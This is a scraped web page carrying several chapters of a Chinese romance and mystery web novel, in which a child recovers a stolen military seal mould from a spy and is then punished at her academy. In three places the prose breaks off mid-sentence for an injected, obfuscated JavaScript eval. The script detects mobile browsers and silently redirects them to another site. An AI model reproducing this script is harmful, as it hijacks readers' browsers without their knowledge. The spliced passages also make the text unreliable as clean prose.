阮歆梨转了转眼珠子:“我不记得名字,只知道是听风居隔壁,我的哥哥在那等我。” 听风居隔壁? 小二愣了半晌,倒是没听说过肃远侯府还有位小小姐啊..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真是异想天开!”薛副将夺回符印怒目道:“就算你直接拿走真符印,能顺利回到部落,你确定你们那些部落军能拿下东盛北境?” 薛副将一声冷笑:“不自量力。” “你!”阿木那面色涨红,看向手中模具道:“你确定这样可以以假乱真?” “东盛的工艺自是不用怀疑。”薛副将催促道:“只要林枝意没有发现符印已被盗模,后面想要以假乱真自是容易!你莫要在这耽搁时间,赶紧走!这边我自会处理。” 阿木那愤愤盯向林枝意:“我真想现在杀了她!” “你们盗模了符印,往后出了问题,她百口莫辩!”薛副将嗤笑一声:“早死晚死的事,你自己衡量究竟怎样更得利。” 阿木那收回目光,神情讥讽道:“东盛有你,也甚是幸运。合作至此,祝薛将军早日得偿所愿,坐上大将军之位。” “少废话,赶紧走。” 薛副将被刺得难堪,阿木那勾起一旁的斗笠,遮于头顶走了出去。 见阿木那下楼,薛副将把酒坛中的酒悉数泼洒于地,随后端起桌上的满碗一口闷了下去。 不一会儿,桌边一声闷响,屋内只剩粗重酒酣声,再无其他动静。 吱呀—— 靠在屏风后的柜门自内推开,混在小二他们身后偷偷躲进柜里的阮歆梨爬了出来。 “阿娘!” 阮歆梨晃了晃桌边趴伏的林枝意,对方却毫无反应完全没了意识。 唤不醒林枝意,阮歆梨急得不知所措。 那个异域人盗走了阿娘的符印要做坏事,若是不能拿回模具,阿娘和东盛会有大麻烦! 阮歆梨左右转了几回身,跑至窗边往下探望,阿木那已经快走至街角,再不追就要跟不上了! 思索片刻,她终是放弃叫醒林枝意的想法。 风声在耳边作响,发绳上的小明珠刮得脸侧生疼。 阮歆梨脚下不敢停顿,朝着阿木那所走的方向一路狂奔—— 只要她能拿回模具,阿娘就不会出事! 一直追到回环巷道,阿木那的身影彻底消失不见。 阮歆梨着急地在巷中穿梭打转,汗水湿了两鬓:“人呢?明明看他进了这里......” 颈间倏然一凉,阮歆梨僵在原地不敢动弹。 身后热源贴近,一道阴冷的声音在耳畔响起:“小姑娘,你是在找我么?” 22. 第 22 章 “我......没有.......”冰凉的匕首横在脖间,阮歆梨这才意识到阿木那是一个真正的狠辣坏人。 她不敢回头,抖着声撒谎道:“我只是迷路了,我在找我的哥哥,他就在附近,等会就会来找我。” 阿木那歪头观察着阮歆梨的神情,雪白干净的小姑娘勉力维持着镇定,圆溜溜的乌眸因为恐惧慢慢蓄起了泪水。 有趣!东盛娇滴滴的小姑娘比他们部落里那些野惯了的少女有趣多了! 一直以来被东盛与北寒联手打压得憋屈,阿木那恶劣一笑,握着匕首故意在那柔软的脖颈间慢慢划拨了几下:“是么?那我错怪你了,你走吧。” 他将匕首收回,对着巷口礼貌伸手,示意阮歆梨可以离开了。 他......这是要放她走? 阮歆梨不可置信地回头,斗笠之下的面容让人不寒而栗,那双偏灰的瞳眸在阴影下如野兽般狡黠而凶狠地闪烁着。 不!他不是真的想放她! 心口剧烈跳动,阮歆梨慢慢转回头望向了巷口。 不逃便一点生机也没有!她还不想和阿爹、阿娘、哥哥他们分开! 沉着步子往前走了走,深深呼吸两口,阮歆梨朝着巷口快速奔跑—— “救命啊!!!” 阳光在刀刃上折射出刺眼光芒,阮歆梨不敢回头,抱紧脑袋猛然扑倒在地! 匕首擦着耳畔钉入地面,躲过这致命一击,她忍着恐惧匆匆爬起身,身后传来一声冷笑:“还挺聪明。” 阿木那从怀中取出另一把飞刃,似猫逗鸟雀一样,看着阮歆梨颤抖着往巷口摸爬,然后慢悠悠地跟近,瞄准—— 飞刃旋出,刚刚爬起身的阮歆梨来不及躲闪,她恐惧地捂紧双眼,脑中一片空白! 叮—— 疼痛并没有到来,阮歆梨惊讶地睁开眼,也不知是为什么,原本直飞而来的飞刃突然偏斜,直直扎进了一旁的墙壁之中! “谁!” 阿木那阴沉着脸,防备地看向四周。 趁其不备,回神的阮歆梨连忙往巷口奔去! 阿木那迈步欲追,刚踏出一步,鞋边便钉出了一排银针。 “到底是谁!出来!” 阿木那恼火不已,抽出腰刀满脸戒备。他眼睁睁看着阮歆梨逃至巷口,忍不住啐了一口,低骂出声! 巷口衔接着玄武大街,来往的路人也多了起来。 阮歆梨回头看向巷内的阿木那,只见他横刀于胸前,紧张地看向四周不敢追出。 阮歆梨捂着胸口剧喘,趁着这个机会,只要跑上玄武大街,她便能脱险。 但是,这样她便没有机会拿回符印模具了! 阮歆梨站在巷口犹豫不决,阿木那警惕地环视四周,一点一点往巷口处挪去。 随着阿木那的靠近,阮歆梨抑不住本能的恐惧,一步一步地后退...... 不跑会被抓住杀掉,跑了阿娘就会有危险。 细密的汗水自额首沁出,阮歆梨左右探看,寻不到熟人,也不知该找谁来帮她。 余光瞥见不远处的路人,阮歆梨忽然有了一个想法。 也许,赌一把,她可以成功? 眼见阿木那越来越靠近巷口,阮歆梨彻底停了脚步等在原地。 刚刚还在逃命的小姑娘突然留在了原地,阿木那也不禁谨慎起来。 阮歆梨紧张地看着阿木那从谨慎小心变得逐渐压不住唇角笑意,慢慢向后退了一步。 快要到手的猎物突然移动,阿木那握紧了刀柄,步子也跟着迈大了些。 就差一步...... 阮歆梨估量了一下两人的距离,在阿木那迈出巷口准备伸手抓向她时,突然主动上前,一把囚住了阿木那握刀的手臂,使出浑身力气将他从巷内拖拽到了大街上! “救命啊!有人拐卖小孩!” 阮歆梨突然的哭喊,打了阿木那一个措手不及! 神情错愕的阿木那倏然回神,握着刀的手却被她死死抱紧,一时之间竟挣脱不开! “你找死!放开!” “叔叔,我不认识你!你不要抓我,放我回家好不好?” 阮歆梨死命缠着阿木那的四肢,整个人都挂在了他的身上。 哭闹声很快便吸引了不远处路人的注意,听到有人牙子要拐卖孩子,驻足的路人互相壮胆,结伴往吵闹之地而来。 “干什么!放下孩子!我们报官了啊!” 围观过来的人越来越多,阮歆梨还挂在阿木那身上哭个不停。 阿木那想要腾出手将阮歆梨甩下去,尝试几次都未成功,只得先低首借着斗笠遮了脸,准备等路人靠近,她一松手便赶紧逃离。 听到路人追近的声音,阮歆梨渐渐松了一口气。 她大着胆子将左手伸向阿木那的后腰,刚才在云善楼,他便是把模具放进腰袋挂在了腰间。 指尖触到沉甸甸的粗布袋,阮歆梨将阿木那抱得更紧,偷偷勾开绳结将腰袋抓进了手中! 东西已经到手,她正准备松手跳下来,阿木那却突然一声痛呼带着她一同往地面摔去! “啊——哎?” 预想的疼痛并没有落在身上,阮歆梨慢慢松开了挡在脸前的双肘。 乌发自鼻尖擦过,阮歆梨坐在有力的臂弯处,抬头看见了熟悉的羊脂玉簪。 “獬豸哥哥?” 顾明池皱眉踩紧了阿木那的右腕,剑尖直指他的咽喉。 听到阮歆梨唤他,他轻轻颠了颠左手臂,将抱在怀中的阮歆梨拉开些许距离,上下打量一圈后,刚才那一瞬的心悸这才缓和过来。 顾明池气得不想说话,知道这个小麻烦精胆子大,但是没想到她竟然胆子大到这种程度! 眉宇轻拢,神情严肃的顾明池比平时多了几分戾气,看起来很不好惹,也更加难以亲近。 若是寻常,阮歆梨可能会害怕退缩,但是现在,顾明池这一份怒气却让她感到安心。 她慢慢收紧环在他脖颈间的手臂,趴在他的肩头压着声小小啜泣起来。 肩颈间热气氤氲,恼火中的顾明池身躯微僵。 脖颈被勒得紧实,他微微转头也只看到阮歆梨一点侧颈。 雪白的肌肤不知从哪蹭了一层灰印,就如珍藏在盒中的羊脂白玉被贼人破坏掺染了杂质。 看着就令人不舒服。 顾明池忍不住脚下又加了几分力,阿木那扣紧手指哀嚎出声。 “都聚集在这做什么!” 左青带着虎腾营的人疾驰而来,看到抱着阮歆梨的顾明池和地上的阿木那,赶紧翻身下马:“顾大人?这是怎么回事?” 顾明池收剑归鞘,左青打了个手势,跟随而来的士兵立刻上前准备将人捆绑捉拿。 然而顾明池刚刚松开力度,阿木那便撑地而起,撞开两边士兵意欲逃跑—— 左青反应极快,手刚触及他的衣领,下一瞬阿木那已经被人飞踹于地! 身着玄色劲装的女子一把揪起阿木那的后衣领,对着他的侧脸便是一拳,随后锁紧他的喉咙嗤笑道:“到了东盛的地盘还想跑?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223753|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿娘!”听到熟悉的声音,阮歆梨惊喜地从顾明池肩头抬起了脑袋。 “阿梨?” 林枝意将阿木那丢给左青,细长的眉宇轻拧:“你怎么会在这里,还弄得脏兮兮的?” 阮歆梨抬起手在脸上胡乱蹭了一顿,沾染了灰尘的小脸顿时变得更花。 看到手背上的脏印,阮歆梨也无暇再管自己的花猫脸,赶紧从怀中掏出阿木那的腰袋递了过去:“阿娘!这个你收回去!” 林枝意只扫了腰袋一眼,一点也不好奇袋里装了什么,反倒是凤眸逐渐凌厉,面上神情越来越难看:“小兔崽子,我看你是真的不怕死......” “林枝意!要杀要剐你给个痛快!” 眼见逃脱无望,趁着围观的人尚在,阿木那冲着林枝意喊道:“今日我若折在这里,北寒不会放过你的!” 路人轻语,左青瞪着眼给了阿木那一拳:“叫什么叫!” “还挺有骨气。”林枝意用刀柄顶起阿木那的下颌,垂眸冷厉道:“你当真是北寒人?” 阿木那向四周转了转眼珠,吐出一口血水笑道:“北寒才不会惧怕东盛!早晚将你们变成奴隶......唔!” 林枝意反手以刀柄重击阿木那的腹部,随后指尖勾着一枚腰袋晃至他的面前:“你凭什么这么自信?就凭这个?” 阿木那怔愣了一瞬,随即望向自己的腰间,那里早已空空如也。 “是你!” 阿木那怒视向阮歆梨,顾明池转了身,将他的目光挡在身后。 阮歆梨还没来得及看清什么,顾明池身后又是一阵痛呼。 顾明池看着准备探头的阮歆梨,抬手按住了她的发顶:“低头,没什么好看的。” 被按在怀中的阮歆梨:“......哦。” 收回拳头的林枝意转了转手腕,厉着眼眸,慢慢勒紧了阿木那的衣领:“你再吓她一次试试。” 阿木那吞咽下喉间腥味,林枝意拽着他的衣领,单手从自己怀中掏出了符印,然后抖出腰袋中的模具,将两者重合在一起:“只差一步就成功了,你很得意是么?” 阿木那没有说话,傲慢的神情表明一切。 林枝意哂笑,她丢开模具,将那枚完全重合的符印放至他的眼前:“你再仔细看看。” 阿木那轻慢一扫,随后双目怒瞪:“你耍诈!” 好奇的阮歆梨拍了拍顾明池的肩头:“獬豸哥哥,走近点,阿梨看不清。” 小姑娘使唤人使唤得太过顺口,顾明池一口气噎得不上不下,两人对视良久,这才念着她今天受了惊,忍着火抱着她靠近了些。 走近的两人一同看向林枝意手中的符印,猛虎昂首蹲坐,这是镇远大将军的符印没错。 阮歆梨看不出什么问题,只是盯着那猛虎的头有些奇怪:“獬豸哥哥,那只老虎怎么看起来傻傻的?” 的确是猛虎昂首,但林枝意手中那枚符印上的猛虎,却是歪斜着眼吐着舌傻坐。 显然是一枚假符印。 顾明池摇头浅笑,这次倒是他和“小麻烦精”瞎操闲心了。 阿木那神情麻木,林枝意站起身吩咐道:“把人先压去大理寺。” 左青领命上前,正准备压着阿木那离开,银光一闪,一道利器直奔阿木那胸口而来! 叮—— 金属相碰之声响起,飞至阿木那胸口的利器被击落。 左青刚刚松下一口气,下一瞬飞刃直插阿木那的喉头,鲜血喷涌,他在围观路人的尖叫声中,圆睁着眼倒了下去! 23. 第 23 章 突如其来的变故,让玄武街头陷入一片混乱。 在第一支飞刃旋出时,顾明池便已经抱紧了阮歆梨退至一旁,赶在阿木那被击中前捂紧了她的双眼。 恐惧的尖叫声在耳边高低起伏,眼前一片黑暗的阮歆梨慢慢眨了眨眼。 手心处传来细密的麻痒感,顾明池看着地面上还在微微抽搐的阿木那,安抚地拍了拍阮歆梨的发顶。 虎腾营的士兵快速地向飞刃击出的方向奔走搜寻,左青摸了摸阿木那的颈脉,随即看向林枝意缓缓摇了摇头。 围观的百姓早已吓得退至街道两旁,林枝意沉眸盯着阿木那最后狰狞错愕的面容,低声吩咐道:“先找块布遮了吧。” 很快,士兵便从一旁的角落中寻来了废弃粗布遮盖在阿木那的尸体上。 左青将剩下的几个胆大路人驱走,周边这才空旷安静下来。 拧眉不语的林枝意倏然想起被自己忽视在一旁的闺女,匆忙回头却见顾明池将她遮了眼护在怀中。 见林枝意走来,顾明池这才松了手将阮歆梨放回地面。 什么都没看到的阮歆梨,大着胆望向方才躁动的地方,好奇的眼眸忽闪明亮。 林枝意按着她的小脑袋转了个方向,看着被照顾得很好的女儿,一直神情严肃的林枝意欣慰一笑:“多谢。” 顾明池颔首回礼,随后目光在地面轻扫,朝着被击落的第一支飞刃走去。 精钢薄刃斜插于地面,碎石飞溅,细碎裂纹自飞刃接地处向四周蔓延。 “这柄飞刃直奔阿木那的心口,想要一刀毙命。从这力度来看,掷出飞刃之人功力不浅。” 林枝意同样蹲下身来勘查,顾明池看向一旁钉于地面的银针,渐渐眯眸拢眉:“射出这枚银针的人更非寻常。” 对于顾明池的评价,林枝意没有回应,她瞥了眼银针射来的方向,低声轻叹道:“至少此人目前是友非敌。” 顾明池不语,伸手欲取针细看,林枝意却先一步将针取走:“左青,把飞刃与银针收好。” 林枝意擦手起身,顾明池眸光微闪,眼带探究道:“林将军多次询问阿木那是否为北寒人,不知他是何处令你起了疑?” “嗯?只是觉得他多次刻意强调自己是北寒人,这种行为实在怪异,所以多问了两遍。” 林枝意整理护腕的手一顿,忽然斜眸盯向了顾明池:“顾大人怎知我多次询问?咱们相遇后,我好像只问过一次吧?” 审视的目光凌厉逼人,顾明池面不改色微表歉意:“说来也巧,方才我也在云善楼,就在林将军你们隔壁的包间。虽是无意听到你们的谈话,但也却非君子所为,还请林将军见谅。” “哦?那真是巧了。”林枝意轻勾唇角道:“顾大人在隔壁都听到了,我倒是多了个人证,省得到了陛下面前解释不清。” “林将军此番布局缜密,哪里又会解释不清呢?” 顾明池的目光自那枚假符印上掠过,林枝意和符印上的歪眼蠢虎对视笑道:“我就是一草莽,纯靠运气罢了。” “这......这是又怎么了!”大理寺卿张大人扶着官帽急匆匆走来,看着这一地狼藉,苦着脸皱眉叹气:“先是杜佥事一家命丧火海,那案子还没结,现在又来了一案,我今年这是犯了什么太岁!” 小老头今年已至花甲,先前为了杜佥事一案已经熬了好些大夜,这会抖着花白胡子愁眉苦脸,看起来也甚是可怜。 林枝意拍了拍他的肩膀安慰道:“张大人别急,有个好消息告诉你,他有一个同谋还活着,我来之前已经把人捆送到你们大理寺的地牢了。” 张大人眼前一亮,赶紧招呼差役道:“你们几个在这收拾现场,剩下的人随我回大理寺狱!” “张大人别急,我随你一起。” 听到林枝意愿意随行,张大人不禁一喜:“如此甚好!正好有关案情还得麻烦林将军细细说一说!” 张大人客气相引,林枝意忽然想起了什么,脚步一顿浅笑道:“张大人稍等。” 看到林枝意欲走,一直努力降低存在感的阮歆梨长长舒出一口气。 现在林枝意突然杀个回马枪,对上她皮笑肉不笑的面容,阮歆梨赶紧缩着脑袋往顾明池的身后躲了躲。 感觉到后襟被扯紧,顾明池眉头微挑,背手将人往前推了推。 阮歆梨抿紧唇瓣与顾明池暗暗较劲,林枝意对于她这些小动作不屑一笑:“阮歆梨,你现在乖乖回家等我,晚上我再和你好好算账!” “不行!” 林枝意转身的动作一顿,她蹲下身看着自家胆肥的皮猴扬眉微笑:“你刚刚说什么?” 一向清亮的嗓音忽然夹得轻柔,听明白其中的威胁之意,阮歆梨飞速地转着脑筋为自己寻了一个合理的理由:“下午书院还有课,阿梨必须回去学习。” 林枝意盯着装模作样的阮歆梨一声冷笑:“逃学的人谈学习?” 阮歆梨对了对身前的手指,眼珠转动反驳道:“阿梨没有逃学,我是跟着顾先生一起出来的。” “哦?”林枝意抬头看向顾明池:“当真如此?” 桃花眸微扬,顾明池正要否认,只见小麻烦精愁苦着五官,快速摇晃着偷偷在腹前合十的双手—— 求求求!救命啊!拜托拜托! 顾明池轻轻一咳,舌尖微滚,面不红心不跳地撒谎道:“是,入盛京院前,怀轩托我照顾阿梨,昨日阿梨表现不错,作为奖励,今日便带她出来转转,顺便去云善楼尝尝菜肴。” “是么?”林枝意偏头盯向阮歆梨,后者疯狂点头:“嗯嗯!是这样的!” 挑起的眉尾一松,林枝意撑膝起身道:“那真是劳顾先生费心了,改日定要让怀轩好好答谢。” 顾明池厚脸一笑:“林将军客气。” 一旁的张大人还在焦急等候,林枝意也不便再耽搁,严厉地叮嘱了阮歆梨几句,便带着虎腾营的人随张大人往大理寺狱而去。 见林枝意走远,阮歆梨半张着嘴,猛然泄了一口气。 “没逃课,爱学习?”顾明池低歪着头,眯起双眸说起了风凉话:“躲得过初一,也躲不过十五。你阿娘根本就没信方才的谎言。” 阮歆梨塌着肩无神道:“躲一天是一天,今天不躲必挨揍,往后拖一拖,说不准就免了打呢!” 这话说得顺滑,显然她之前已经用过这种拖延之术。 顾明池轻轻鼓掌,看着阮歆梨微笑道:“那便祝你好运。” 阮歆梨拉着脸抬头迎向顾明池,面上明晃晃写了几个大字—— 你好讨厌! 看看时辰差不多该回盛京院上课了,顾明池使了使眼色,示意阮歆梨和他一同回去。 垂着脑袋的阮歆梨跟在他的身后,刚刚走过巷口,她又忽然倒退了回来。 “怎么了?” 见阮歆梨突然奔进巷子,不明所以的顾明池也跟了进去。 一路左右探看,走到自己先前扑摔的位置后,阮歆梨蹲下身仔细寻找起来。 “找到了!” 刚要碰触到针尾,顾明池出声阻拦道:“别动!” 顾明池撩袍下蹲,自袖中取出锦帕,捏着针尾将银针拔了出来。 环顾四周,察觉到几处细微闪光,顾明池又寻到了六枚银针。 他将银针仔细裹进帕中,皱眉看向阮歆梨道:“这里的针是怎么回事?” 阮歆梨抿唇思索:“那个坏人追我,然后就有这些银针咻咻挡下了他的飞刃。” 顾明池眉头一紧。 从阿木那出云善楼,他便一路跟着。但是阿木那行事警惕,他不敢贸然跟紧,只能远缀在后,这才在阮歆梨遇险时晚来一步。 看银针的落处,对方显然是在暗处护着这个小麻烦精。方才在街头出手,也是想保阿木那活口。 顾明池看着手中银针,脑海一团乱麻。 沾着黑灰的小手突然伸出,顾明池反手收住锦帕:“你想做什么?” “这个要给阿娘他们破案。”阮歆梨认真道:“刚才阿娘便让青姨将这些收了起来,说明它们有用。” “你说得没错,这些都是证物,确实需要送去衙门。”顾明池将锦帕收入怀中,用眼神示意阮歆梨看看自己的小手:“但是你手上还有许多黑灰,若是直接碰触,可能会破坏线索,所以还是由我保管交给大理寺。” 顾明池一本正经地忽悠人,年少无知的阮歆梨只觉他说得很有道理,在身上擦着手十分信任道:“那你一定要记得交过去哦!” “这是自然。” 得到顾明池的承诺,阮歆梨也安下心来。 虽然这个人有时候很讨厌,偶尔看起来也不太正经,但是“偷桃案”给她留下了太美好的印象,她始终坚信“獬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229781|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豸”会一直秉持公正,不会在案件上马虎大意。 没错,獬豸哥哥还是靠谱的! 阮歆梨满意地点了点头,顾明池垂眸敛光,将这一份信任昧了下去。 他好歹也是刑部侍郎,交到他的手上,也算是交公了。 嗯,是这样,没错。 一个化解了危机,心情愉悦。一个整了一团乱麻,心思重重。 一大一小悲喜不通地回到盛京院,阮歆梨开心地颠着步子往大门奔去,回神的顾明池匆忙拽住了她的后衣领。 被扼住后颈脖的阮歆梨迷茫歪头:“不进去么?” 顾明池提溜着她往一旁的巷道走道:“你有杨司业的手批?” 哦,阿梨是偷溜出来的,不能从正门进去。 乖乖缩了脑袋不说话,阮歆梨任由顾明池拉着她的衣领,将她带回了偷溜时的路。 熟悉的院墙,熟悉的树。 阮歆梨望了望墙沿,有些疑惑地看向顾明池:“在盛京院里当先生,也要研究哪里好翻么?” 顾明池被问得一噎,双手叉起这个小麻烦精,将她抽抱至墙头道:“上课快迟到了,你抓紧了,在墙头上坐着等我。” “哦。” 有了顾明池的帮忙,借着他的身高攀上墙头,便是一件很容易的事。 阮歆梨骑在墙头上晃悠着双腿,看着顾明池轻松够上墙沿,借着墙壁蹬步,眨眼间便撑坐上了墙头。 “好厉害啊!” 阮歆梨由衷鼓掌赞叹,晶亮的眼睛传递着她的喜悦,一直心头沉重的顾明池不禁弯了弯唇角—— “好厉害啊!” 墙下传来两道掌声,顾明池的唇角顿时一僵。 墙头上的两人僵愣对视,墙下的沈太傅抚着胡须笑道:“怎么?上墙容易,下墙难?” 看着墙下的沈太傅与杨司业,顾明池头疼地闭了闭眼。 片刻后,他认命地从墙头一跃而下,在沈太傅的眼神示意下,无奈地将阮歆梨也从墙头上接了下来。 “哎!这才对嘛!”沈太傅含笑道:“为人师者,临危之时又怎能弃下自己的学生呢?” 杨司业望着墙头,胡须气得直飞。 他将手中棋子扔回棋盒,隔空虚点阮歆梨的额首训斥道:“昨日典礼上才说了各项规矩,你怎么这么大胆,今日就把大忌犯了个遍!” “未经允许,私出学院!不经批假,无故逃课!”杨司业抖着手怒喝道:“真是毫无畏惧,胆大包天!” 杨司业气恼掷袖,背着手来回走了几圈,火气越走越大,他看向沈太傅询问道:“太傅,这要是不严惩,往后还得了?” 一直低着头不敢言语的阮歆梨,可怜巴巴地看向沈太傅,对上她哀求的小眼神,沈太傅思索一笑:“司业所言甚是。” 紧张的小脸一垮,沈太傅轻声一嘶:“不过昨日才入学,她也是初犯,罚是肯定要罚,但也不宜太过严苛。” 杨司业拧眉思考:“依太傅之见,如何惩戒最好?” “不如罚她将盛京院的戒规抄写十遍。” 阮歆梨眼睛一亮,杨司业横眉道:“不行!这惩罚轻了些!” 杨司业盯着阮歆梨厉声道:“罚你思过堂禁闭一日,十遍戒规抄完方能出来!” 什么!思过堂? 一想到半山腰上的那座阴森恐怖的殿堂,阮歆梨哭瘪着嘴,整个人都被吸干了精气神。 她侧眸看了看一旁的顾明池,只见他眼观鼻鼻观心,毫无所动。 杏眸微眯,顿时计上心来—— 无论如何她都不能自己一个人去! 可怜地扑扇了两下睫毛,阮歆梨软着声诚恳认错道:“司业爷爷不要生气,阿梨知错了,以后都不会再犯。” 轻轻抽噎两声,她又看向沈太傅轻声问道:“太傅爷爷之前说,为人师者,以身作则。阿梨是犯了错,但是这惩罚是不是不该只有阿梨一人?” 沈太傅神色微动:“那你觉得还有何人该罚?” 顾明池眉头一跳,顿时有了不祥的预感。 阮歆梨斜眸瞥向顾明池,看着刚刚见死不救的他,轻轻咬牙道:“今日顾先生也逃了课,也是他助阿梨翻得墙,他还是阿梨的老师,所以阿梨觉得,顾先生应当同罚。” 指节轻响,顾明池暗暗咬紧了牙根—— 果然是个麻烦精!! 24. 第 24 章 低眉、垂眼、撇小嘴,乌眸含珠,欲坠未坠。 这一副认错的神情,十分熟练地摆在看似乖巧可怜的小脸上,顾明池突然觉得自己实在是小瞧了这个黑心团子。 沈太傅捻着胡须未语,半垂着眼帘斟酌思考着。片刻后,他看向一旁的杨司业:“司业有何看法?” “呃......” 顾明池是沈太傅的学生,朝中皆知他一向对这个学生格外看重偏爱。顾明池年幼调皮时,也不曾舍得罚过一二。沈太傅如今这一问,杨司业一时也拿不定他的心思,不知该如何回答。 气不过一时,这会看着才及腰身的阮歆梨,想想她也不过是个半大的孩子,气已去了一半的杨司业思忖道:“仔细想想,太傅先前说得没错,既是初入学院,对院中规矩也不甚熟悉。年纪又尚小,惩罚也不宜过重。看她态度也算诚恳......” 明白杨司业有意松口,那双方才还显得楚楚可怜的杏眸,眼尾渐渐扬起。 一旁的顾明池全然看在眼里,心中不禁一声哼笑。 “司业所想甚是。入学尚未学习什么,那便是白纸一张,这错的确不能只怪于学生身上,为师者更是推脱不得。” “嗯......啊?” 杨司业懵然看向沈太傅,话未说完,沈太傅已经替他做了决断:“明池为师,却又助她翻墙越院,那便罚他与阮歆梨一同入思过堂,好好反省!” 啊? 阮歆梨彻底傻了眼。 本想着法不责众,而且拖着顾明池下水,太傅与司业也一定会给他这个学院先生留些脸面。 没想到他们竟然真的这么较真,连自己人都罚! 完了,这把不仅自己没躲了罚,还把授课的先生得罪了! 小小的脑袋越来越低,阮歆梨丝毫不敢看一旁顾明池的脸色。 “明池,你可有异议?” 顾明池轻轻眯眸,斜了眼缩得像鹌鹑一样的阮歆梨,最终还是向着太傅无奈行礼道:“此事明池亦有错,明池认罚。” 杨司业的目光在师徒二人间转了几回,半晌后还是咽回了求情的话。 人家师徒二人都没意见,如此也守住了盛京院的规矩,他又何必再去操这个心! 一时间师徒三代人没人说话,杨司业干笑两声打了个圆场:“罚也不是主要目的,不过是提个醒,往后注意便是!” “哎哟,这一聊差点忘了那帮学生还在明正堂等着顾先生!” 杨司业匆匆收了棋盘,脚底抹油道:“今日顾先生不便,那老夫就先去给这些学生上一课,先走一步!太傅您自便!” 杨司业走得飞快,沈太傅看向这对新师徒道:“既然知错,那便好好改进。明池,思过堂的路你也熟悉,便带着你的学生过去吧。” “是。” 沈太傅背着手悠悠离开,阮歆梨低垂着头满面苦色。 察觉到顾明池的视线一直落在她的身上,早就打好腹稿的道歉语,全部卡在了喉咙口,一点声也发不出。 獬豸哥哥的眼神好可怕啊! 知道小麻烦精在偷偷瞄看自己,顾明池故意沉默不语,只面无神情地盯着她。 等了半晌也没见顾明池有什么动静,阮歆梨闭了闭眼,硬着头皮道歉道:“獬豸哥哥对不起!阿梨也不想害你一起挨罚!” “哥哥?”顾明池伸指点起低垂的小脑袋,对上阮歆梨半掀的眼睛挑眉道:“刚才不是还说‘学生犯错,师亦有责’?” 阮歆梨眨巴眨巴眼,也不明白顾明池是什么意思。 顾明池弹了她一个脑崩:“好好想想,你该叫我什么。” 啊? 阮歆梨转回眼眸有些委屈,明白顾明池这是记上仇了。 她揉着脑门小声唤道:“顾先生。” “大点声。” “......顾先生!” 顾明池点点头,这比“獬豸哥哥”听着顺耳多了。 想想从昨天就一直担惊受怕没睡成觉,今天又险些丢了命,阮歆梨心里也一阵委屈。 错也不是她想犯,可偏偏又没法和人解释。 无奈的委屈感一下子漫满心头,先前装模作样的水光,瞬间变成了真泪花,随着轻轻的抽噎声,一滴一滴砸在了她的手背上。 真到哭时反而怕被人看笑话,意识到泪水止不住的滑落,阮歆梨赶紧交叠两手,将手背上的湿痕抹去。 她的动作很快,但那点水光,顾明池还是看得一清二楚。 顾明池神色微怔,半晌后不禁有些自嘲—— 自己查不清案子,却把焦躁的情绪转移到了一个孩子身上,真是越来越低劣了。 顾明池看着倔强捂眼的阮歆梨,将本欲递出的帕子又默默收回了袖中。 片刻后,他装作什么也不知的模样,平静转身道:“走吧,去思过堂。” 泪眼朦胧间,阮歆梨看向了那道走在前方的挺立身影。 顾明池走得稳而缓慢,大概是听到身后没有脚步跟上,他并没有回头,也没有催促,只是停在原地望向远处。 他是在给她留面子么? 阮歆梨拽着袖子快速地抹净了脸,她小跑着跟上顾明池,抽了抽鼻翼,红着脸在他身后小声道:“顾先生,我好了。” 听到身后别别扭扭的嘟哝细语,顾明池轻轻一笑,眼波流转,恍若春风拂过枝头。 “跟紧了,若是跟丢了,我可不回头找你。” “哦。” 桃花面,冰刀嘴。 阮歆梨盯着走在前方的顾明池,先前的那点好感起起伏伏。 思过堂依山而建,看着似乎离主院很近,走起来才发现竟是那么偏远。 一连走了大约一炷香的时间,这才堪堪走到通往思过堂的长阶之下。 五月尚在春末,山间更是凉风习习,但阮歆梨还是走得口干舌燥,望着眼前长阶满眼绝望。 “好高啊!”她苦着脸精神萎靡道:“这得爬多少台阶啊?” 顾明池微微一笑,薄唇轻启道:“二百三十八级台阶。” “这么多!” 阮歆梨垂头丧气地跟着顾明池跨上台阶,拖着两条沉重的小腿无力道:“为什么要凿这么多台阶,矮一点不好么?” 顾明池笑了一声:“矮一点?如果去得轻松,那它还叫什么思过堂?” 阮歆梨眨眨眼,说得好有道理,无法反驳。 思过堂的台阶高高低低,蜿蜒盘旋,比寻常的长阶还要难走许多。 阮歆梨认命地跟着往上爬,一边走一边疑惑道:“这些台阶也是故意修得这么难走么?” “那倒不是。”顾明池走得轻松,时不时还会停下步子看看风景。 见阮歆梨实在是爬得艰难,他递了折扇借力牵着她道:“只是山路凑巧如此,所以才修了这些台阶。” 阮歆梨点点头,顿了片刻又忍不住吐槽了两句:“既然是凑巧,那又是谁这么无聊,还特意数了一共有多少层台阶?” 顾明池:“......” 他回头看向 